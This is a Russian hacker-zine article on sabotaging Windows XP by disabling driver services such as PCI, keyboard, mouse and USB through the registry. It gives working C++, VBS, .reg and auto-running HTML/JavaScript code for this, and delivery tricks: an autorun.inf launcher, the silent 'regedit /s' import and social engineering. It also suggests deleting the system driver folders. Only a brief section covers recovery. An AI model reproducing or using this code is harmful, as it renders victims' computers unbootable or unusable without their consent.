Windows CE + Windows ME + Windows NT == Windows CEMENT
--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==--==
Западло в Windows XP. Сервисы
Автор: Dumplex <[email protected]>
Intro
Наверное, ни для кого не секрет, что список сервисов можно получить по адресу
HKLM\SYSTEM\CurrentControlSet\Services. Среди имеющихся по дефолту сервисов я
выделил 7:
..\AudioSrv
..\KbdClass
..\MouClass
..\FlpyDisk
..\Usbohci
..\Cdrom
..\PCI
Все эти сервисы по совместительству являются еще и драйверами (см.
%systemroot%\system32\drivers). Чуешь, чем пахнет? Вот именно - при отключении,
скажем сервиса мыши, крыса либо не будет дрыгаться, либо совсем исчезнет
(курсора не будет видно). Особенно хотелось бы отметить последний - при его
отключении телега не загрузится :) Но есть одно НО. Отключение происходит ТОЛЬКО
после того, как пробежит белая полоса загрузки (перед появлением эмблемы
Microsoft, или что там у тебя стоит). Все параметры запуска сервиса находятся в
DWORD-параметре Start. Вот они:
2 - автозагрузка
3 - ручная загрузка
4 - отключено (примечание. Можно просто удалить Start)
Ниже приведены исходники программ, выполняющих одну и туже функцию, на разных
языках.
Microsoft Visual Studio
Все фишки с сокращением размера я сдирал с www.uinc.ru и www.sources.ru. Создаем
пустое Win32 приложение без поддержки MFC и ATL. Active Solution Configuration
ставим в Release. Дальше идем в Linker => Input, прописываем единственную
библиотеку msvcrt.lib. А вот собственно и исходник:
Main.cpp:
#include <windows.h>
#include "compress.h"
void New_WinMain(void)
{
HKEY hk;
RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\PCI",&hk);
RegDeleteValue(hk,"Start");
RegCloseKey(hk);
}
compress.h:
#ifdef NDEBUG
#pragma optimize("gsy",on)
#pragma comment(linker,"/MERGE:.rdata=.text")
#pragma comment(linker,"/ENTRY:New_WinMain")
#pragma comment(linker,"/NODEFAULTLIB")
#pragma comment(linker,"/merge:.rdata=.data")
#pragma comment(linker,"/merge:.text=.data")
#if _MSC_VER >= 1000
#endif
#endif
При запуске данной программы (она весит 1 килограмм) отключается PCI, поэтому
после первой же перезагрузки появится синий экран и козяблики :) Чтобы отключить
что-то другое - надо просто заменить PCI скажем на KbdClass (примечание: при
отключении, скажем, той же клавы лучше отключать еще и ubohci, т.к. велика
вероятность того, что у юзера USB клава/крыса)
Visual Basic Scripts
ИМХО vbs - идеальное средство для западлоcтроения. Он есть практически у всех
юзверей и для написания скриптов не требуется ни каких инструментов (за
исключением Блокнота). Значит в блокноте (или подобном текстовом редакторе)
создаем новый документ и сохраняем с расширением *.vbs. Вот код:
On Error Resume Next
Dim Fuck
Set Fuck = WScript.CreateObject("WScript.Shell")
Fuck.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\PCI\Start", "Fucked"
Основным недостатком является то, что юзверь может просмотреть содержимое файла.
Радует, пожалуй, только один факт - не всем это надо и не все знают, что сей
сырц делает.
Regedit
Это конечно не язык программирования, но на нем удобно писать некое подобие
скриптов для автоматизации работы с реестром. Основным плюсом является
присутствие данной программы (regedit) у каждого рядового юзверя windows. В
блокноте создать новый документ и написать вот этот текст:
REGEDIT 4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\flpydisk]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cdrom]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdclass]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\audiosrv]
"Start"=DWORD:00000004
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbohci]
"Start"=DWORD:00000004
и сохранить с расширением *.reg. Но, при запуске у юзверя спрашивают, хочет он
загрузить эту хрень или нет. Он, конечно, нажмет, нет :) Чтобы этого не
произошло, предусмотрительные программеры Microsoft'а придумали такую вот штуку
- при использовании синтаксиса regedit /s <file_name> никаких вопросов задано не
будет.
Впаривание
Теперь поговорим немного о том, как это дело впарить. Можно положить программу в
корень винта (чужого) и туда же кинуть файл autorun.inf следующего содержания:
[AUTORUN]
Open=Suck_My_Dick.exe
Естественно, ни о чем не подозревающая жертва тыкает на диск два раза, а дальше
сам знаешь чего :) HTML с применением скриптов тоже действенное средство:
<BODY onLoad="HackXP()">
<SCRIPT language=JavaScript>
var WShell = new ActiveXObject( "WScript.Shell" );
function HackXP(){
WShell.RegWrite("HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\PCI\\Start", "Fucked");}
</SCRIPT>
</BODY>
Но, имхо, соц. инженерия - получше будет. Небольшая обработка жертвы - и она
сама удаляет Start))
Защита
В связи с выше прочитанным, по крайней мере, у меня, возникает вопрос: А как
уберечься от подобных пакостей??? Можно засунуть файл типа этого в автозагрузку:
REGEDIT 4
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\flpydisk]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\cdrom]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\mouclass]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\kbdclass]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\audiosrv]
"Start"=DWORD:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\usbohci]
"Start"=DWORD:00000002
но если необходимо вводить пароль (попробуй его ввести без клавиатуры :) или
выскакивает сообщение, ничего не выйдет... Но не все так плохо. Значит перед
загрузкой системы зажми F8 и держи до появления меню. В меню выбери "Загрузка
последней удачной конфигурации (с работоспособными параметрами)" и все дела
(примечание: На некоторых машинах сбивались все настройки, так что будь
осторожнее). Программа тестировалась на WinXP Prof. (SP1) и Home (SP1), хотя, по
идее, должна работать на всех NT-like системах. Для работы нужны права админа.
ЗЫ. Вандалы могут удалить все файлы из %systemroot%\system32\dllcache (копии
системных файлов) а затем %systemroot%\system32\drivers (сами дрова). По идее
"Последняя удачная" уже не должна помогать, но я не проверял - не знаю...